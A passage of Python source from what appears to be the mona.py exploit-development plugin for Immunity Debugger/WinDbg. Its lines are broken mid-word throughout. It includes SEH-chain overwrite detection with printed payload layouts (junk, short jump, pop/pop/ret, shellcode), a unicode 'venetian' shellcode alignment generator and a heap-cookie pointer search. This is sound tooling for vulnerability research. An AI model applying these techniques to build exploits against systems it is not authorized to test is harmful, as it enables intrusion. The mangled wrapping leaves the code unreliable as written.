dbg.log("-" * (len(kbtit
le)+2))
if selectedvalue != "":
dbg.log(" (Filt
er : %s)" % selectedvalue)
nrentries = 0
if kbtype == "dict":
for dictkey in k
bid:
if selec
tedvalue == "" or selectedvalue in dictkey:
logline = ""
if kbid[dictkey].__class__.__name__ == "int" or kb[dictkey].__class__.__name__ =
= "long":
logline = " %s : %d (0x%x)" % (str(dictkey),kbid[dictkey],kbid[dictkey])
else:

logline = " %s : %s" % (str(dictkey),kbid[dictkey])


dbg.log(logline)
nrentries += 1
if kbtype == "list":
cnt = 0
for entry in kbi
d:
dbg.log(
" %d : %s" % (cnt,kbid[entry]))
cnt += 1
nrentrie
s += 1
if kbtype == "str":
dbg.log(" %s" %
kbid)
nrentries += 1
if kbtype == "int" or kb
type == "long":
dbg.log(" %d (0
x%08x)" % (kbid,kbid))
nrentries += 1
dbg.log("")
filtertxt = ""
if selectedvalue != "":
filtertxt="filte
red "
dbg.log("Number of %sent
ries for ID %s : %d" % (filtertxt,selectedid,nrentries))
else:
dbg.log("ID %s was not f
ound in the Knowledgebase" % selectedid)
if selectedcommand == "set":
# we need an ID and a value argument
if selectedid == "":
dbg.log("*** Please enter a valid ID wit
h -id",highlight=1)
return
if selectedvalue == "":
dbg.log("*** Please enter a valid value"
,highlight=1)
return
if selectedid in kb:
# vtableCache
if selectedid == "vtableCache":
# split on command
valueparts = selectedvalue.split
(",")
if len(valueparts) == 2:
vtablename = valueparts[
0].strip(" ")
vtablevalue = 0
if "0x" in valueparts[1]
.lower():
vtablevalue = in
t(valueparts[1],16)

else:
vtablevalue = in
t(valueparts[1])
kbadd = {}
kbadd[vtablename] = vtab
levalue
dbg.addKnowledge(selecte
did,kbadd)
else:
dbg.log("*** Please prov
ide a valid value for -value")
dbg.log("*** KB %s conta
ins a list, please use a comma")
dbg.log("*** to separate
entries. First entry should be a string,")
dbg.log("*** Second entr
y should be an integer.")
return
else:
dbg.addKnowledge(selectedid,sele
ctedvalue)
dbg.log(" ")
dbg.log("ID %s updated." % selectedid)
else:
dbg.log("ID %s was not found in the Know
ledgebase" % selectedid)
if selectedcommand == "del":
if selectedid == "" or selectedid not in kb:
dbg.log("*** Please enter a valid ID wit
h -id",highlight=1)
return
else:
dbg.forgetKnowledge(selectedid,selectedv
alue)
if selectedvalue == "":
dbg.log("*** Entire ID %s removed from K
nowledgebase" % selectedid)
else:
dbg.log("*** Object %s in ID %s removed
from Knowledgebase" % (selectedvalue,selectedid))
return
def procBPSeh(self):
sehchain = dbg.getSehChain()
dbg.log("Nr of SEH records : %d" % len(sehchain))
if len(sehchain) > 0:
dbg.log("SEH Chain :")
dbg.log("-----------")
dbg.log("Address
Next SEH
Handler")
for sehrecord in sehchain:
address = sehrecord[0]
sehandler = sehrecord[1]
nseh = ""
try:
nsehvalue = struct.unpack('<L',d
bg.readMemory(address,4))[0]
nseh = "0x%08x" % nsehvalue
except:
nseh = "0x????????"

bpsuccess = True
try:
if __DEBUGGERAPP__ == "WinDBG":
bpsuccess = dbg.setBreak
point(sehandler)
else:
dbg.setBreakpoint(sehand
ler)
bpsuccess = True
except:
bpsuccess = False
bptext = ""
if not bpsuccess:
bptext = "BP failed"
else:
bptext = "BP set"
ptr = MnPointer(sehandler)
funcinfo = ptr.getPtrFunction()
dbg.log("0x%08x %s 0x%08x %s <- %s" %
(address,nseh,sehandler,funcinfo,bptext))
dbg.log("")
return "Done"
def procSehChain(self):
sehchain = dbg.getSehChain()
dbg.log("Nr of SEH records : %d" % len(sehchain))
handlersoverwritten = {}
if len(sehchain) > 0:
dbg.log("Start of chain (TEB FS:[0]) : 0x%08x" %
sehchain[0][0])
dbg.log("Address
Next SEH
Handler")
dbg.log("--------------------")
for sehrecord in sehchain:
address = sehrecord[0]
sehandler = sehrecord[1]
nseh = ""
try:
nsehvalue = struct.unpack('<L',d
bg.readMemory(address,4))[0]
nseh = "0x%08x" % nsehvalue
except:
nseh = 0
sehandler = 0
overwritedata = checkSEHOverwrite(addres
s,nseh,sehandler)
overwritemark = ""
funcinfo = ""
if sehandler > 0:
ptr = MnPointer(sehandler)
funcinfo = ptr.getPtrFunction()
else:
funcinfo = " (corrupted record)"
if str(nseh).startswith("0x"):
nseh = "0x%08x" % int(ns
eh,16)
else:
nseh = "0x%08x" % int(ns
eh)
if len(overwritedata) > 0:
handlersoverwritten[address] = o

verwritedata
smashoffset = int(overwritedata[
1])
typeinfo = ""
if overwritedata[0] == "unicode"
:
smashoffset += 2
typeinfo = " [unicode]"
overwritemark = " (record smashe
d at offset %d%s)" % (smashoffset,typeinfo)
dbg.log("0x%08x %s 0x%08x %s%s" % (add
ress,nseh,sehandler,funcinfo, overwritemark))
if len(handlersoverwritten) > 0:
dbg.log("")
dbg.log("Payload structure suggestion(s):")
for overwrittenhandler in handlersoverwritten:
overwrittendata = handlersoverwritten[ov
erwrittenhandler]
overwrittentype = overwrittendata[0]
overwrittenoffset = int(overwrittendata[
1])
if not overwrittentype == "unicode":
dbg.log("[Junk * %d]['\\xeb\\x06
\\x41\\x41'][p/p/r][shellcode][more junk if needed]" % (overwrittenoffset))
else:
overwrittenoffset += 2
dbg.log("[Junk * %d][nseh - walk
over][unicode p/p/r][venetian alignment][shellcode][more junk if needed]" % over
writtenoffset)
return
def procDumpLog(args):
logfile = ""
levels = 0
nestedsize = 0x28
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
logfile = args["f"]
if "l" in args:
if type(args["l"]).__name__.lower() != "bool":
if str(args["l"]).lower().startswith("0x
"):
try:
levels = int(args["l"],1
6)
except:
levels = 0
else:
try:
levels = int(args["l"])
except:
levels = 0
if "m" in args:
if type(args["m"]).__name__.lower() != "bool":
if str(args["m"]).lower().startswith("0x

"):
try:
nestedsize = int(args["m
"],16)
except:
nestedsize = 0x28
else:
try:
nestedsize = int(args["m
"])
except:
nestedsize = 0x28
if logfile == "":
dbg.log(" *** Error: please specify a valid logf
ile with argument -f ***",highlight=1)
return
allocs = 0
frees = 0
# open logfile and record all objects & sizes
logdata = {}
try:
dbg.log("[+] Parsing logfile %s" % logfile)
f = open(logfile,"rb")
contents = f.readlines()
f.close()
for tline in contents:
line = str(tline)
if line.startswith("alloc("):
size = ""
addy = ""
lineparts = line.split("(")
if len(lineparts) > 1:
sizeparts = lineparts[1]
.split(")")
size = sizeparts[0].repl
ace(" ","")
lineparts = line.split("=")
if len(lineparts) > 1:
linepartaddy = lineparts
[1].split(" ")
for lpa in linepartaddy:
if addy != "":
break
if lpa != "":
addy = l
pa
if size != "" and addy != "":
size = size.lower()
addy = addy.lower()
if not addy in logdata:
logdata[addy] =
size
allocs += 1
if line.startswith("free("):
addy = ""
lineparts = line.split("(")

if len(lineparts) > 1:
addyparts = lineparts[1]
.split(")")
addy = addyparts[0].repl
ace(" ","")
if addy != "":
addy = addy.lower()
if addy in logdata:
del logdata[addy
]
frees += 1
dbg.log("[+] Logfile parsed, %d objects found" %
len(logdata))
dbg.log("

Total allocs: %d, total free: %d" %

(allocs,frees))
dbg.log("[+] Dumping objects")
logfile = MnLog("dump_alloc_free.txt")
thislog = logfile.reset()
for addy in logdata:
asize = logdata[addy]
ptrx = MnPointer(int(addy,16))
size = int(asize,16)
dumpdata = ptrx.dumpObjectAtLocation(siz
e,levels,nestedsize,thislog,logfile)
except:
dbg.log(" *** Unable to open logfile %s ***" % l
ogfile,highlight=1)
dbg.log(traceback.format_exc())
return
return
def procDumpObj(args):
addy = 0
levels = 0
size = 0
nestedsize = 0x28
regs = dbg.getRegs()
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
if str(args["s"]).lower().startswith("0x
"):
try:
size = int(args["s"],16)
except:
size = 0
else:
try:
size = int(args["s"])
except:
size = 0

if "l" in args:
if type(args["l"]).__name__.lower() != "bool":
if str(args["l"]).lower().startswith("0x
"):
try:
levels = int(args["l"],1
6)
except:
levels = 0
else:
try:
levels = int(args["l"])
except:
levels = 0
if "m" in args:
if type(args["m"]).__name__.lower() != "bool":
if str(args["m"]).lower().startswith("0x
"):
try:
nestedsize = int(args["m
"],16)
except:
nestedsize = 0
else:
try:
nestedsize = int(args["m
"])
except:
nestedsize = 0
errorsfound = False
if addy == 0:
errorsfound = True
dbg.log("*** Please specify a valid address to a
rgument -a ***",highlight=1)
else:
ptrx = MnPointer(addy)
osize = size
if size == 0:
# no size specified
if addy > 0:
dbg.log("[+] No size specified, checking
if address is part of known heap chunk")
if ptrx.isInHeap():
heapinfo = ptrx.getHeapInfo()
heapaddy = heapinfo[0]
chunkobj = heapinfo[3]
if not heapaddy == None:
if heapaddy > 0:
chunkaddy = chun
kobj.chunkptr
size = chunkobj.
usersize
dbg.log("
Add
ress found in chunk 0x%08x, heap 0x%08x, (user)size 0x%02x" % (chunkaddy, heapad
dy, size))
addy = chunkobj.
userptr

"

if size > 0xfff:


dbg.log(
I'll only dump 0xfff bytes from the object, for performance reasons")
size = 0

xfff
if size > 0xfff and osize > 0:
errorsfound = True
dbg.log("*** Please keep the size below 0xfff (a
rgument -s) ***",highlight=1)
if size == 0:
size = 0x28
if levels > 0 and nestedsize == 0:
errorsfound = True
dbg.log("*** Please specify a valid size to argu
ment -m ***",highlight=1)
if not errorsfound:
ptrx = MnPointer(addy)
dumpdata = ptrx.dumpObjectAtLocation(size,levels
,nestedsize)
return
# routine to copy bytes from one location to another
def procCopy(args):
src = 0
dst = 0
nrbytes = 0
regs = dbg.getRegs()
if "src" in args:
if type(args["src"]).__name__.lower() != "bool":
src,addyok = getAddyArg(args["src"])
if "dst" in args:
if type(args["dst"]).__name__.lower() != "bool":
dst,addyok = getAddyArg(args["dst"])
if "n" in args:
if type(args["n"]).__name__.lower() != "bool":
if str(args['n']).lower().startswith("0x
"):
try:
nrbytes = int(args["n"],
16)
except:
nrbytes = 0
else:
try:
nrbytes = int(args["n"])
except:
nrbytes = 0
errorsfound = False
if src == 0:
errorsfound = True
dbg.log("*** Please specify a valid source addre
ss to argument -src ***",highlight=1)
if dst == 0:
errorsfound = True

dbg.log("*** Please specify a valid destination


address to argument -dst ***",highlight=1)
if nrbytes == 0:
errorsfound = True
dbg.log("*** Please specify a valid number of by
tes to argument -n ***",highlight=1)
if not errorsfound:
dbg.log("[+] Attempting to copy 0x%08x bytes fro
m 0x%08x to 0x%08x" % (nrbytes, src, dst))
sourcebytes = dbg.readMemory(src,nrbytes)
try:
dbg.writeMemory(dst,sourcebytes)
dbg.log("
Done.")
except:
dbg.log("
*** Copy failed, check if b
oth locations are accessible/mapped",highlight=1)
return

# unicode alignment routines written by floyd (http://www.floyd.


cd, twitter: @floyd_ch)
def procUnicodeAlign(args):
leaks = False
address = 0
alignresults = {}
bufferRegister = "eax" #we will put ebp into the buffer
register
timeToRun = 15
registers = {"eax":0, "ebx":0, "ecx":0, "edx":0, "esp":0
, "ebp":0,}
showerror = False
regs = dbg.getRegs()
if "l" in args:
leaks = True
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
address,addyok = getAddyArg(args["a"])
else:
address = regs["EIP"]
if leaks:
address += 1
if address == 0:
dbg.log("Please enter a valid address with argum
ent -a",highlight=1)
dbg.log("This address must be the location where
the alignment code will be placed/start")
dbg.log("(without leaking zero byte). Don't worr
y, the script will only use")
dbg.log("it to calculate the offset from the add
ress to EBP.")
showerror=True
if "b" in args:
if args["b"].lower().strip() == "eax":

bufferRegister = 'eax'
elif args["b"].lower().strip() == "ebx":
bufferRegister = 'ebx'
elif args["b"].lower().strip() == "ecx":
bufferRegister = 'ecx'
elif args["b"].lower().strip() == "edx":
bufferRegister = 'edx'
else:
dbg.log("Please enter a valid register w
ith argument -b")
dbg.log("Valid registers are: eax, ebx,
ecx, edx")
showerror = True
if "t" in args and args["t"] != "":
try:
timeToRun = int(args["t"])
if timeToRun < 0:
timeToRun = timeToRun * (-1)
except:
dbg.log("Please enter a valid integer fo
r -t",highlight=1)
showerror=True
if "ebp" in args and args["ebp"] != "":
try:
registers["ebp"] = int(args["ebp"],16)
except:
dbg.log("Please enter a valid value for
ebp",highlight=1)
showerror=True
dbg.log("[+] Start address for venetian alignment routin
e: 0x%08x" % address)
dbg.log("[+] Will prepend alignment with null byte compe
nsation? %s" % str(leaks).lower())
# ebp must be writeable for this routine to work
value_of_ebp = regs["EBP"]
dbg.log("[+] Checking if ebp (0x%08x) is writeable" % va
lue_of_ebp)
ebpaccess = getPointerAccess(value_of_ebp)
if not "WRITE" in ebpaccess:
dbg.log("[!] Warning! ebp does not appear to be
writeable!",highlight = 1)
dbg.log("
You will have to run some custom in
structions first to make ebp writeable")
dbg.log("
and at that point, run this mona co
mmand again.")
dbg.log("
Hints: maybe you can pop something
off the stack into ebp,")
dbg.log("
or push esp and pop it into ebp.")
showerror = True
else:
dbg.log("
OK (%s)" % ebpaccess)
if not showerror:
alignresults = prepareAlignment(leaks, address,
bufferRegister, timeToRun, registers)
# write results to file
if len(alignresults) > 0:
if not silent:

dbg.log("[+] Alignment generator


finished, %d results" % len(alignresults))
logfile = MnLog("venetian_alignm
ent.txt")
thislog = logfile.reset()
for resultnr in alignresults:
resulttitle = "Alignment
routine %d:" % resultnr
logfile.write(resulttitl
e,thislog)
logfile.write("-" * len(
resulttitle),thislog)
theseresults = alignresu
lts[resultnr]
for resultinstructions i
n theseresults:
logfile.write("I
nstructions:",thislog)
resultlines = re
sultinstructions.split(";")
for resultline i
n resultlines:
logfile.
write("

%s" % resultline.strip(),thislog)
logfile.write("H

ex:",thislog)
logfile.write("'
%s'" % theseresults[resultinstructions],thislog)
logfile.write("",thislog
)
return alignresults
def prepareAlignment(leaks, address, bufferRegister, timeToRun,
registers):
def getRegister(registerName):
registerName = registerName.upper()
regs = dbg.getRegs()
if registerName in regs:
return regs[registerName]
def calculateNewXregister(x,h,l):
return ((x>>16)<<16)+(h<<8)+l
prefix = ""
postfix = ""
additionalLength = 0 #Length of the prefix+postfix instr
uctions in after-unicode-conversion bytes
code_to_get_rid_of_zeros = "add [ebp],ch; " #\x6d --> \x
00\x6d\x00
buf_sig = bufferRegister[1]
registers_to_fill = ["ah", "al", "bh", "bl", "ch", "cl",
"dh", "dl"] #important: h's first!
registers_to_fill.remove(buf_sig+"h")
registers_to_fill.remove(buf_sig+"l")
leadingZero = leaks

for name in registers:


if not registers[name]:
registers[name] = getRegister(name)
#256 values with only 8276 instructions (bruteforced), b
est found so far:
#values_to_generate_all_255_values = [71, 87, 15, 251, 1
62, 185]
#but to be on the safe side, let's take only A-Za-z valu
es (in 8669 instructions):
values_to_generate_all_255_values = [86, 85, 75, 109, 12
1, 99]
new_values = zip(registers_to_fill, values_to_generate_a
ll_255_values)
if leadingZero:
prefix += code_to_get_rid_of_zeros
additionalLength += 2
leadingZero = False
#prefix += "mov bl,0; mov bh,0; mov cl,0; mov ch,0; mov
dl,0; mov dh,0; "
#additionalLength += 12
for name, value in zip(registers_to_fill, values_to_gene
rate_all_255_values):
padding = ""
if value < 16:
padding = "0"
if "h" in name:
prefix += "mov e%sx,0x4100%s%s00; " % (n
ame[0], padding, hex(value)[2:])
prefix += "add [ebp],ch; "
additionalLength += 8
if "l" in name:
prefix += "mov e%sx,0x4100%s%s00; " % (b
uf_sig, padding, hex(value)[2:])
prefix += "add %s,%sh; " % (name, buf_si
g)
prefix += "add [ebp],ch; "
additionalLength += 10
leadingZero = False
new_values_dict = dict(new_values)
for new in registers_to_fill[::2]:
n = new[0]
registers['e%sx'%n] = calculateNewXregister(regi
sters['e%sx'%n], new_values_dict['%sh'%n], new_values_dict['%sl'%n])
if leadingZero:
prefix += code_to_get_rid_of_zeros
additionalLength += 2
leadingZero = False
#Let's push the value of ebp into the BufferRegister
prefix += "push ebp; %spop %s; " % (code_to_get_rid_of_z
eros, bufferRegister)
leadingZero = True
additionalLength += 6
registers[bufferRegister] = registers["ebp"]
if not leadingZero:

#We need a leading zero for the ADD operations


prefix += "push ebp; " #something 1 byte, doesn'
t matter what
leadingZero = True
additionalLength += 2
#The last ADD command will leak another zero to the next
instruction
#Therefore append (postfix) a last instruction to get ri
d of it
#so the shellcode is nicely aligned
postfix += code_to_get_rid_of_zeros
additionalLength += 2
alignresults = generateAlignment(address, bufferRegister
, registers, timeToRun, prefix, postfix, additionalLength)
return alignresults
def generateAlignment(alignment_code_loc, bufferRegister, regist
ers, timeToRun, prefix, postfix, additionalLength):
import copy, random, time
alignresults = {}
def sanitiseZeros(originals, names):
for index, i in enumerate(originals):
if i == 0:
warn("Your %s register is zero.
That's bad for the heuristic." % names[index])
warn("In general this means ther
e will be no result or they consist of more bytes.")
def checkDuplicates(originals, names):
duplicates = len(originals) - len(set(originals)
)
if duplicates > 0:
warn("""Some of the 2 byte registers see
m to be the same. There is/are %i duplicate(s):""" % duplicates)
warn("In general this means there will b
e no result or they consist of more bytes.")
warn(", ".join(names))
warn(", ".join(hexlist(originals)))
def checkHigherByteBufferRegisterForOverflow(g1, name, g
2):
overflowDanger = 0x100-g1
max_instructions = overflowDanger*256-g2
if overflowDanger <= 3:
warn("Your BufferRegister's %s register
value starts pretty high (%s) and might overflow." % (name, hex(g1)))
warn("Therefore we only look for solutio
ns with less than %i bytes (%s%s until overflow)." % (max_instructions, hex(g1),
hex(g2)[2:]))
warn("This makes our search space smalle
r, meaning it's harder to find a solution.")
return max_instructions

def randomise(values, maxValues):


for index, i in enumerate(values):
if random.random() <= MAGIC_PROBABILITY_
OF_ADDING_AN_ELEMENT_FROM_INPUTS:
values[index] += 1
values[index] = values[index] %
maxValues[index]
def check(as1, index_for_higher_byte, ss, gs, xs, ys, M,
best_result):
g1, g2 = gs
s1, s2 = ss
sum_of_instructions = 2*sum(xs) + 2*sum(ys) + M
if best_result > sum_of_instructions:
res0 = s1
res1 = s2
for index, _ in enumerate(as1):
res0 += as1[index]*xs[index] % 2
56
res0 = res0 - ((g2+sum_of_instructions)/
256)
as2 = copy.copy(as1)
as2[index_for_higher_byte] = (g1 + ((g2+
sum_of_instructions)/256)) % 256
for index, _ in enumerate(as2):
res1 += as2[index]*ys[index] % 2
56
res1 = res1 - sum_of_instructions
if g1 == res0 % 256 and g2 == res1 % 256
:
return sum_of_instructions
return 0
def printNicely(names, buffer_registers_4_byte_names, xs
, ys, additionalLength=0, prefix="", postfix=""):
thisresult = {}
resulting_string = prefix
sum_bytes = 0
for index, x in enumerate(xs):
for k in range(0, x):
resulting_string += "add "+buffe
r_registers_4_byte_names[0]+","+names[index]+"; "
sum_bytes += 2
for index, y in enumerate(ys):
for k in range(y):
resulting_string += "add "+buffe
r_registers_4_byte_names[1]+","+names[index]+"; "
sum_bytes += 2
resulting_string += postfix
sum_bytes += additionalLength
if not silent:
info("[+] %i resulting bytes (%i bytes i
njection) of Unicode code alignment. Instructions:"%(sum_bytes,sum_bytes/2))
info(" ", resulting_string)
hex_string = metasm(resulting_string)
if not silent:
info("
Unicode safe opcodes without z
ero bytes:")

info(" ", hex_string)


thisresult[resulting_string] = hex_string
return thisresult
def metasm(inputInstr):
#the immunity and metasm assembly differ a lot:
#immunity add [ebp],ch "\x00\xad\x00\x00\x00\x00
"
#metasm add [ebp],ch "\x00\x6d\x00" --> we want
this!
#Therefore implementing our own "metasm" mapping
here
#same problem for things like mov eax,0x41004300
ass_operation = {'add [ebp],ch': '\\x00\x6d\\x00
', 'pop ebp': ']', 'pop edx': 'Z', 'pop ecx': 'Y', 'push ecx': 'Q',
'pop ebx': '[', 'push ebx': 'S'
, 'pop eax': 'X', 'push eax': 'P', 'push esp': 'T', 'push ebp': 'U',
'push edx': 'R', 'pop esp': '\\
', 'add dl,bh': '\\x00\\xfa', 'add dl,dh': '\\x00\\xf2',
'add dl,ah': '\\x00\\xe2', 'add
ah,al': '\\x00\\xc4', 'add ah,ah': '\\x00\\xe4', 'add ch,bl': '\\x00\\xdd',
'add ah,cl': '\\x00\\xcc', 'add
bl,ah': '\\x00\\xe3', 'add bh,dh': '\\x00\\xf7', 'add bl,cl': '\\x00\\xcb',
'add ah,ch': '\\x00\\xec', 'add
bl,al': '\\x00\\xc3', 'add bh,dl': '\\x00\\xd7', 'add bl,ch': '\\x00\\xeb',
'add dl,cl': '\\x00\\xca', 'add
dl,bl': '\\x00\\xda', 'add al,ah': '\\x00\\xe0', 'add bh,ch': '\\x00\\xef',
'add al,al': '\\x00\\xc0', 'add
bh,cl': '\\x00\\xcf', 'add al,ch': '\\x00\\xe8', 'add dh,bl': '\\x00\\xde',
'add ch,ch': '\\x00\\xed', 'add
cl,dl': '\\x00\\xd1', 'add al,cl': '\\x00\\xc8', 'add dh,bh': '\\x00\\xfe',
'add ch,cl': '\\x00\\xcd', 'add
cl,dh': '\\x00\\xf1', 'add ch,ah': '\\x00\\xe5', 'add cl,bl': '\\x00\\xd9',
'add dh,al': '\\x00\\xc6', 'add
ch,al': '\\x00\\xc5', 'add cl,bh': '\\x00\\xf9', 'add dh,ah': '\\x00\\xe6',
'add dl,dl': '\\x00\\xd2', 'add
dh,cl': '\\x00\\xce', 'add dh,dl': '\\x00\\xd6', 'add ah,dh': '\\x00\\xf4',
'add dh,dh': '\\x00\\xf6', 'add
ah,dl': '\\x00\\xd4', 'add ah,bh': '\\x00\\xfc', 'add ah,bl': '\\x00\\xdc',
'add bl,bh': '\\x00\\xfb', 'add
bh,al': '\\x00\\xc7', 'add bl,dl': '\\x00\\xd3', 'add bl,bl': '\\x00\\xdb',
'add bh,ah': '\\x00\\xe7', 'add
bl,dh': '\\x00\\xf3', 'add bh,bl': '\\x00\\xdf', 'add al,bl': '\\x00\\xd8',
'add bh,bh': '\\x00\\xff', 'add
al,bh': '\\x00\\xf8', 'add al,dl': '\\x00\\xd0', 'add dl,ch': '\\x00\\xea',
'add dl,al': '\\x00\\xc2', 'add
al,dh': '\\x00\\xf0', 'add cl,cl': '\\x00\\xc9', 'add cl,ch': '\\x00\\xe9',
'add ch,bh': '\\x00\\xfd', 'add
cl,al': '\\x00\\xc1', 'add ch,dh': '\\x00\\xf5', 'add cl,ah': '\\x00\\xe1',
'add dh,ch': '\\x00\\xee', 'add
ch,dl': '\\x00\\xd5', 'add ch,ah': '\\x00\\xe5', 'mov dh,0': '\\xb6\\x00',
'add dl,ah': '\\x00\\xe2', 'mov
dl,0': '\\xb2\\x00', 'mov ch,0': '\\xb5\\x00', 'mov cl,0': '\\xb1\\x00',
'mov bh,0': '\\xb7\\x00', 'add
bl,ah': '\\x00\\xe3', 'mov bl,0': '\\xb3\\x00', 'add dh,ah': '\\x00\\xe6',
'add cl,ah': '\\x00\\xe1', 'add
bh,ah': '\\x00\\xe7'}
for example_instr, example_op in [("mov eax,0x41

004300", "\\xb8\\x00\\x43\\x00\\x41"),
("mov ebx,0x41
00af00", "\\xbb\\x00\\xaf\\x00\\x41"),
("mov ecx,0x41
004300", "\\xb9\\x00\\x43\\x00\\x41"),
("mov edx,0x41
004300", "\\xba\\x00\\x43\\x00\\x41")]:
for i in range(0,256):
padding =""
if i < 16:
padding = "0"
new_instr = example_instr[:14]+p
adding+hex(i)[2:]+example_instr[16:]
new_op = example_op[:10]+padding
+hex(i)[2:]+example_op[12:]
ass_operation[new_instr] = new_o
p
res = ""
for instr in inputInstr.split("; "):
if instr in ass_operation:
res += ass_operation[instr].repl
ace("\\x00","")
elif instr.strip():
warn("
Couldn't find metasm a
ssembly for %s" % str(instr))
warn("

You have to manually c

onvert it in the metasm shell")


res += "<"+instr+">"
return res
def getCyclic(originals):
cyclic = [0 for i in range(0,len(originals))]
for index, orig_num in enumerate(originals):
cycle = 1
num = orig_num
while True:
cycle += 1
num += orig_num
num = num % 256
if num == orig_num:
cyclic[index] = cycle
break
return cyclic
def hexlist(lis):
return [hex(i) for i in lis]
def theX(num):
res = (num>>16)<<16 ^ num
return res
def higher(num):
res = num>>8
return res
def lower(num):
res = ((num>>8)<<8) ^ num
return res
def info(*text):

dbg.log(" ".join(str(i) for i in text))


def warn(*text):
dbg.log(" ".join(str(i) for i in text), highligh
t=1)
def debug(*text):
if False:
dbg.log(" ".join(str(i) for i in text))
buffer_registers_4_byte_names = [bufferRegister[1]+"h",
bufferRegister[1]+"l"]
buffer_registers_4_byte_value = theX(registers[bufferReg
ister])
MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS=0.25
MAGIC_PROBABILITY_OF_RESETTING=0.04
MAGIC_MAX_PROBABILITY_OF_RESETTING=0.11
originals = []
ax = theX(registers["eax"])
ah = higher(ax)
al = lower(ax)
bx = theX(registers["ebx"])
bh = higher(bx)
bl = lower(bx)
cx = theX(registers["ecx"])
ch = higher(cx)
cl = lower(cx)
dx = theX(registers["edx"])
dh = higher(dx)
dl = lower(dx)
start_address = theX(buffer_registers_4_byte_value)
s1 = higher(start_address)
s2 = lower(start_address)
alignment_code_loc_address = theX(alignment_code_loc)
g1 = higher(alignment_code_loc_address)
g2 = lower(alignment_code_loc_address)
names = ['ah', 'al', 'bh', 'bl', 'ch', 'cl', 'dh', 'dl']
originals = [ah, al, bh, bl, ch, cl, dh, dl]
sanitiseZeros(originals, names)
checkDuplicates(originals, names)
best_result = checkHigherByteBufferRegisterForOverflow(g
1, buffer_registers_4_byte_names[0], g2)
xs = [0 for i in range(0,len(originals))]
ys = [0 for i in range(0,len(originals))]
cyclic = getCyclic(originals)
mul = 1
for i in cyclic:
mul *= i

if not silent:
dbg.log("[+] Searching for random solutions for
code alignment code in at least %i possibilities..." % mul)
dbg.log("
Bufferregister: %s" % bufferRegiste
r)
dbg.log("
Max time: %d seconds" % timeToRun)
dbg.log("")
#We can't even know the value of AH yet (no, it's NOT g1
for high instruction counts)
cyclic2 = copy.copy(cyclic)
cyclic2[names.index(buffer_registers_4_byte_names[0])] =
9999999
number_of_tries = 0.0
beginning = time.time()
resultFound = False
resultcnt = 0
while time.time()-beginning < timeToRun: #Run only timeT
oRun seconds!
randomise(xs, cyclic)
randomise(ys, cyclic2)
#[Extra constraint!]
#not allowed: all operations with the bufferRegi
ster,
#because we can not rely on it's values, e.g.
#add al, al
#add al, ah
#add ah, ah
#add ah, al
xs[names.index(buffer_registers_4_byte_names[0])
] = 0
xs[names.index(buffer_registers_4_byte_names[1])
] = 0
ys[names.index(buffer_registers_4_byte_names[0])
] = 0
ys[names.index(buffer_registers_4_byte_names[1])
] = 0
tmp = check(originals, names.index(buffer_regist
ers_4_byte_names[0]), [s1, s2], [g1, g2], xs, ys, additionalLength, best_result)
if tmp > 0:
best_result = tmp
#we got a new result
resultFound = True
alignresults[resultcnt] = printNicely(na
mes, buffer_registers_4_byte_names, xs, ys, additionalLength, prefix, postfix)
resultcnt += 1
if not silent:
dbg.log("
Time elapsed so far
: %s seconds" % (time.time()-beginning))
dbg.log("")
#Slightly increases probability of resetting wit
h time
probability = MAGIC_PROBABILITY_OF_RESETTING+num
ber_of_tries/(10**8)
if probability < MAGIC_MAX_PROBABILITY_OF_RESETT
ING:

number_of_tries += 1.0
if random.random() <= probability:
xs = [0 for i in range(0,len(originals))
]
ys = [0 for i in range(0,len(originals))
]
if not silent:
dbg.log("")
dbg.log("
Done. Total time elapsed: %s second
s" % (time.time()-beginning))
if not resultFound:
dbg.log("")
dbg.log("No results. Please try again (y
ou might want to increase -t)")
dbg.log("")
dbg.log("If you are unsatisfied with the result,
run the command again and use the -t option")
dbg.log("")
return alignresults
# end unicode alignemt routines
def procHeapCookie(args):
# first find all writeable pages
allpages = dbg.getMemoryPages()
filename="heapcookie.txt"
orderedpages = []
cookiemonsters = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
for thispage in orderedpages:
page = allpages[thispage]
page_base = page.getBaseAddress()
page_size = page.getSize()
page_end = page_base + page_size
acl = page.getAccess(human=True)
if "WRITE" in acl:
processpage = True
# don't even bother if page belongs to m
odule that is ASLR/Rebased
pageptr = MnPointer(page_base)
thismodulename = pageptr.belongsTo()
if thismodulename != "":
thismod = MnModule(thismodulenam
e)
if thismod.isAslr or thismod.isR
ebase:
processpage = False
if processpage:
dbg.log("[+] Walking page 0x%08x
- 0x%08x (%s)" % (page_base,page_end,acl))
startptr = page_base # we need
to start here
while startptr < page_end-16:
# pointer needs to pass
3 tests
try:

heap_entry = sta
rtptr
userptr = heap_e
ntry + 0x8
cookieptr = heap
_entry + 5
raw_heapcookie =
dbg.readMemory(cookieptr,1)
heapcookie = str
uct.unpack("<B",raw_heapcookie)[0]
hexptr1 = "%08x"
% userptr
hexptr2 = "%08x"
% heapcookie
a1 = hexStrToInt
(hexptr1[6:])
a2 = hexStrToInt
(hexptr2[6:])
test1 = False
test2 = False
test3 = False
if (a1 & 7) == 0
:
test1 =
True
if (a2 & 1) == 1
:
test2 =
True
if (a2 & 8) == 8
:
test3 =
True
if test1 and tes
t2 and test3:
cookiemo
nsters.append(startptr+0x8)
except:
pass
startptr += 1
dbg.log("")
if len(cookiemonsters) > 0:
# write to log
dbg.log("Found %s (fake) UserPtr pointers." % le
n(cookiemonsters))
all_ptrs = {}
all_ptrs[""] = cookiemonsters
logfile = MnLog(filename)
thislog = logfile.reset()
processResults(all_ptrs,logfile,thislog)
else:
dbg.log("Bad luck, no results.")
return

def procFlags(args):
currentflag = getNtGlobalFlag()
dbg.log("[+] NtGlobalFlag: 0x%08x" % currentflag)
flagvalues = getNtGlobalFlagValues(currentflag)
if len(flagvalues) == 0:
dbg.log("
No GFlags set")
else:
for flagvalue in flagvalues:
dbg.log("
0x%08x : %s" % (flagvalue,g
etNtGlobalFlagValueName(flagvalue)))
return
def procChangeACL(args):
size = 1
addy = 0
acl = ""
addyerror = False
aclerror = False
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if not addyok:
addyerror = True
